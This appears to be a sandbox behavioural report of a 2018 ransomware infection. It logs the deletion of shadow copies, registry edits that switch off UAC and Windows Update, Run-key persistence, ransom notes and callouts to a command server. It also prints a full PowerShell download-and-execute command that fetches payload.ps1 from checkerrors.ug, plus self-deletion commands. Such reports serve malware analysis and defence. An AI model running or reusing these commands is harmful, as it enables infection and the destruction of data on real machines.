Description | Time |
---|---|
wmic.exe (PID:2996) attempted to delete snapshots with Arguments: shadowcopy delete | 12/26/2018, 7:12:16 PM |
Description | Time |
---|---|
powershell.exe (PID:5516) created mwqtep.exe in c:\users\XXXX\appdata\roaming | 12/26/2018, 7:05:41 PM |
Description | Time |
---|---|
regedit.exe (PID:7492) modified HKLM\software\microsoft\windows\currentversion\policies\system\enablelua = 0x0 | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\ext\ | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\ext\versioncheckenabled = 0x0 | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\windowsupdate\ | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\windowsupdate\disablewindowsupdateaccess = 0x1 | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\explorer\ | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\policies\explorer\taskbarnonotification = 0x1 | 12/26/2018, 7:10:39 PM |
regedit.exe (PID:7492) modified HKLM\software\microsoft\windows\currentversion\policies\explorer\hidescahealth = 0x1 | 12/26/2018, 7:10:39 PM |
Description | Time |
---|---|
powershell.exe (PID:5516) Arguments: -Exec bypass -windo 1 $cd=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SUVY'));sal t $cd;$dc=((New-Object Net.WebClient)).DownloadString('http://checkerrors.ug./payload.ps1');t $dc | 12/26/2018, 7:21:53 PM |
Description | Time |
---|---|
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\s-1-5-18\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\s-1-5-21-1122206823-2576726208-2282001178-1108\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\s-1-5-21-1122206823-2576726208-2282001178-500\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\s-1-5-21-504499639-2275555150-236471043-1000\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\$recycle.bin\s-1-5-21-504499639-2275555150-236471043-1001\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\config.msi\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\msocache\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\perflogs\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\program files\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\program files (x86)\ortkikw-decrypt.txt | 12/26/2018, 7:10:19 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\recovery\ortkikw-decrypt.txt | 12/26/2018, 7:10:20 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\sys-1nt3rn4ls-sw33t\ortkikw-decrypt.txt | 12/26/2018, 7:10:20 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\adobe\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\connecteddevicesplatform\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\google\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\google\chrome\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\google\chrome\user data\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\microsoft\windows\history\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) creates a ransom message in c:\users\administrator\appdata\local\microsoft\ortkikw-decrypt.txt | 12/26/2018, 7:10:21 PM |
Description | Time |
---|---|
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to d0bcfnec00t6jez1hu372v1zw.exe (PID:7476) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:07:45 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to umefyhcszfikzsi3npz5yxtrs.exe (PID:7192) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:07:45 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:6064) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:07:45 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to ovxnpky65qagghpfsuql8mvvk.exe (PID:7304) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:07:45 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to d0bcfnec00t6jez1hu372v1zw.exe (PID:4408) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:16 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to d0bcfnec00t6jez1hu372v1zw.exe (PID:5220) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:16 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to d0bcfnec00t6jez1hu372v1zw.exe (PID:8152) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:16 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to ovxnpky65qagghpfsuql8mvvk.exe (PID:7732) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:16 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to umefyhcszfikzsi3npz5yxtrs.exe (PID:7204) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:30 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to explorer.exe (PID:5288) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:34 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:4144) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:47 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:2524) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:47 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:8132) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:47 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:7492) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:51 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:7648) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:08:56 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to d0bcfnec00t6jez1hu372v1zw.exe (PID:8132) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:09:03 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:8084) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:09:33 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to k5eqq7k19571g.exe (PID:2236) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:09:52 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to 51917sa11om3.exe (PID:2140) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:09:53 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to 5s71aqc1cww557e.exe (PID:2276) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:09:56 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to 1w3aka7cg3.exe (PID:1880) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:10:04 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to 51917sa11om3.exe (PID:3804) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:10:47 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to k5eqq7k19571g.exe (PID:5348) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:10:51 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to werfault.exe (PID:3368) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:10:52 PM |
Change SID from powershell.exe (PID:5516), SID(S-1-5-32-544) to 1w3aka7cg3.exe (PID:7732) , SID(S-1-5-21-504499639-2275555150-236471043-1001) | 12/26/2018, 7:11:11 PM |
Description | Time |
---|---|
regedit.exe (PID:7492) modified HKLM\software\policies\microsoft\windows nt\systemrestore\disablesr = 0x0 | 12/26/2018, 7:10:39 PM |
Description | Time |
---|---|
explorer.exe (PID:5288) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\internet explorer\versionmanager\ | 12/26/2018, 7:08:34 PM |
explorer.exe (PID:5288) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\internet explorer\versionmanager\downloadversionlist = 0x0 | 12/26/2018, 7:08:34 PM |
explorer.exe (PID:5288) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\internet explorer\main\noprotectedmodebanner = 0x1 | 12/26/2018, 7:08:34 PM |
5ai7g55m79ywg_1.exe (PID:3912) modified HKLM\software\microsoft\internet explorer\setup\ | 12/26/2018, 7:10:33 PM |
5ai7g55m79ywg_1.exe (PID:3912) modified HKLM\software\microsoft\internet explorer\setup\11.0\ | 12/26/2018, 7:10:33 PM |
5ai7g55m79ywg_1.exe (PID:3912) modified HKLM\software\microsoft\internet explorer\setup\11.0\donotallowie11 = 0x1 | 12/26/2018, 7:10:33 PM |
5ai7g55m79ywg_1.exe (PID:3912) modified HKLM\software\microsoft\internet explorer\setup\12.0\ | 12/26/2018, 7:10:33 PM |
5ai7g55m79ywg_1.exe (PID:3912) modified HKLM\software\microsoft\internet explorer\setup\12.0\donotallowie12 = 0x1 | 12/26/2018, 7:10:33 PM |
Description | Time |
---|---|
d0bcfnec00t6jez1hu372v1zw.exe (PID:7476) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
umefyhcszfikzsi3npz5yxtrs.exe (PID:7192) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:6064) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
ovxnpky65qagghpfsuql8mvvk.exe (PID:7304) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:4408) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:5220) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:8152) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
ovxnpky65qagghpfsuql8mvvk.exe (PID:7732) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
umefyhcszfikzsi3npz5yxtrs.exe (PID:7204) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:30 PM |
hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:7492) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:51 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:8132) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:03 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7988) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:5860) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
5ai7g55m79ywg_1.exe (PID:3804) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:46 PM |
k5eqq7k19571g.exe (PID:2236) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:52 PM |
51917sa11om3.exe (PID:2140) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:53 PM |
5s71aqc1cww557e.exe (PID:2276) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:56 PM |
1w3aka7cg3.exe (PID:1880) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:04 PM |
5ai7g55m79ywg_1.exe (PID:3912) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:33 PM |
51917sa11om3.exe (PID:3804) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:47 PM |
k5eqq7k19571g.exe (PID:5348) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:51 PM |
1w3aka7cg3.exe (PID:7732) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:11:11 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:1940) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:21:53 PM |
Description | Time |
---|---|
mwqtep.exe (PID:7268) was saved in c:\users\XXXX\appdata\roaming\ | 12/26/2018, 7:05:41 PM |
mwqtep.exe (PID:7828) was saved in c:\users\XXXX\appdata\roaming\ | 12/26/2018, 7:07:41 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7476) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
umefyhcszfikzsi3npz5yxtrs.exe (PID:7192) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:6064) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
ovxnpky65qagghpfsuql8mvvk.exe (PID:7304) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:07:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:4408) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:5220) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:8152) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
ovxnpky65qagghpfsuql8mvvk.exe (PID:7732) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:16 PM |
umefyhcszfikzsi3npz5yxtrs.exe (PID:7204) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:30 PM |
hdsbojvb5lfmyu0oiyghdqsmo.exe (PID:7492) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:08:51 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:8132) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:03 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7988) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
d0bcfnec00t6jez1hu372v1zw.exe (PID:5860) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:45 PM |
5ai7g55m79ywg_1.exe (PID:3804) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:46 PM |
k5eqq7k19571g.exe (PID:2236) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:52 PM |
51917sa11om3.exe (PID:2140) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:53 PM |
5s71aqc1cww557e.exe (PID:2276) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:09:56 PM |
1w3aka7cg3.exe (PID:1880) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:04 PM |
5ai7g55m79ywg_1.exe (PID:3912) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:33 PM |
51917sa11om3.exe (PID:3804) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:47 PM |
k5eqq7k19571g.exe (PID:5348) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:10:51 PM |
1w3aka7cg3.exe (PID:7732) was saved in c:\users\XXXX\appdata\local\temp\ | 12/26/2018, 7:11:11 PM |
Description | Time |
---|---|
explorer.exe (PID:5288) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\runonce\task protect 2.3 = C:\ProgramData\Task Protect 2.3\5ai7g55m79ywg.exe | 12/26/2018, 7:08:34 PM |
explorer.exe (PID:5288) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\software\microsoft\windows\currentversion\run\task protect 2.3 = "C:\ProgramData\Task Protect 2.3\5ai7g55m79ywg.exe" | 12/26/2018, 7:08:34 PM |
regedit.exe (PID:7492) modified HKLM\software\wow6432node\microsoft\windows\currentversion\runonce\task protect 2.3 = "C:\ProgramData\Task Protect 2.3\5ai7g55m79ywg.exe" | 12/26/2018, 7:10:39 PM |
Description | Time |
---|---|
mwqtep.exe (PID:7828) try to reach URL checkerrors.ug/gategate.php?g=-1508863868&k=aMuGJ27cWYNBtrL5ArjC2P795 | 12/26/2018, 7:07:42 PM |
explorer.exe (PID:5288) try to reach URL tantarantantan23.ru/panels_encoded/logout.php | 12/26/2018, 7:18:49 PM |
Description | Time |
---|---|
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) performed a large number (254) of unique IP accesses. | 12/26/2018, 7:09:45 PM |
Description | Time |
---|---|
c:\users\XXXX\appdata\local\temp\51917sa11om3.exe (PID:2140) is a hash copy of c:\users\XXXX\appdata\local\temp\ovxnpky65qagghpfsuql8mvvk.exe (PID:7304), (MD5: 54501f36058c52421ae5c43733afb27a) | 12/26/2018, 7:07:45 PM |
c:\users\XXXX\appdata\local\temp\51917sa11om3.exe (PID:2140) is a hash copy of c:\users\XXXX\appdata\local\temp\ovxnpky65qagghpfsuql8mvvk.exe (PID:7732), (MD5: 54501f36058c52421ae5c43733afb27a) | 12/26/2018, 7:08:16 PM |
c:\users\XXXX\appdata\local\temp\umefyhcszfikzsi3npz5yxtrs.exe (PID:7192) is a hash copy of c:\users\XXXX\appdata\local\temp\5ai7g55m79ywg_1.exe (PID:3804), (MD5: 59706e1c7a11cc204a9be6b75cdf214b) | 12/26/2018, 7:09:46 PM |
c:\users\XXXX\appdata\local\temp\d0bcfnec00t6jez1hu372v1zw.exe (PID:7476) is a hash copy of c:\users\XXXX\appdata\local\temp\5s71aqc1cww557e.exe (PID:2276), (MD5: 077f6405b750b6c4533d81d1eb80f975) | 12/26/2018, 7:09:56 PM |
c:\users\XXXX\appdata\local\temp\umefyhcszfikzsi3npz5yxtrs.exe (PID:7192) is a hash copy of c:\users\XXXX\appdata\local\temp\5ai7g55m79ywg_1.exe (PID:3912), (MD5: 59706e1c7a11cc204a9be6b75cdf214b) | 12/26/2018, 7:10:33 PM |
Description | Time |
---|---|
c:\users\XXXX\appdata\local\temp\wbd4yhsk.a2i.ps1 was created by powershell.exe (PID:5516) and deleted by powershell.exe (PID:5516) | 12/26/2018, 7:05:38 PM |
c:\users\XXXX\appdata\local\temp\d0bcfnec00t6jez1hu372v1zw.exe was created by mwqtep.exe (PID:7828) and deleted by cmd.exe (PID:7412) | 12/26/2018, 7:17:20 PM |
Description | Time |
---|---|
regedit.exe (PID:7492) modified HKLM\software\microsoft\windows\currentversion\policies\system\enablelua = 0x0 | 12/26/2018, 7:10:39 PM |
Description | Time |
---|---|
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) performed a large number(32) of HTTP POSTs | 12/26/2018, 7:09:45 PM |
Description | Time |
---|---|
powershell.exe (PID:5516) created c:\users\XXXX\appdata\local\temp\wbd4yhsk.a2i.ps1 | 12/26/2018, 7:05:38 PM |
Description | Time |
---|---|
powershell.exe (PID:5516) created c:\users\XXXX\appdata\roaming\mwqtep.exe | 12/26/2018, 7:05:41 PM |
mwqtep.exe (PID:7828) created c:\users\XXXX\appdata\local\temp\d0bcfnec00t6jez1hu372v1zw.exe | 12/26/2018, 7:07:45 PM |
mwqtep.exe (PID:7828) created c:\users\XXXX\appdata\local\temp\umefyhcszfikzsi3npz5yxtrs.exe | 12/26/2018, 7:07:45 PM |
mwqtep.exe (PID:7828) created c:\users\XXXX\appdata\local\temp\hdsbojvb5lfmyu0oiyghdqsmo.exe | 12/26/2018, 7:07:45 PM |
mwqtep.exe (PID:7828) created c:\users\XXXX\appdata\local\temp\ovxnpky65qagghpfsuql8mvvk.exe | 12/26/2018, 7:07:45 PM |
umefyhcszfikzsi3npz5yxtrs.exe (PID:7204) created c:\programdata\task protect 2.3\5ai7g55m79ywg.exe | 12/26/2018, 7:08:34 PM |
explorer.exe (PID:5288) created c:\users\XXXX\appdata\local\temp\5ai7g55m79ywg_1.exe | 12/26/2018, 7:09:44 PM |
explorer.exe (PID:5288) created c:\users\XXXX\appdata\local\temp\k5eqq7k19571g.exe | 12/26/2018, 7:09:51 PM |
explorer.exe (PID:5288) created c:\users\XXXX\appdata\local\temp\51917sa11om3.exe | 12/26/2018, 7:09:52 PM |
explorer.exe (PID:5288) created c:\users\XXXX\appdata\local\temp\5s71aqc1cww557e.exe | 12/26/2018, 7:09:54 PM |
explorer.exe (PID:5288) created c:\users\XXXX\appdata\local\temp\1w3aka7cg3.exe | 12/26/2018, 7:10:02 PM |
Description | Time |
---|---|
cmd.exe (PID:7296) Arguments: /c start "" "c:\users\XXXX\AppData\Local\Temp\5AI7G5~1.EXE" /uac "" &CLS &echo Fixing issues ...&ECHO Issues fixed! &exit | 12/26/2018, 7:09:46 PM |
cmd.exe (PID:7412) Arguments: /c timeout -c 5 & del "c:\users\XXXX\AppData\Local\Temp\d0bcFNEC00t6JeZ1Hu372V1ZW.exe" /f /q | 12/26/2018, 7:17:20 PM |
Description | Time |
---|---|
d0bcfnec00t6jez1hu372v1zw.exe (PID:7304) modified HKU\s-1-5-21-504499639-2275555150-236471043-1001\control panel\desktop\wallpaper = c:\users\XXXX\AppData\Local\Temp\\pidor.bmp | 12/26/2018, 7:09:45 PM |
Description | Time |
---|---|
timeout.exe (PID:3612) Arguments: -c 5 | 12/26/2018, 7:17:20 PM |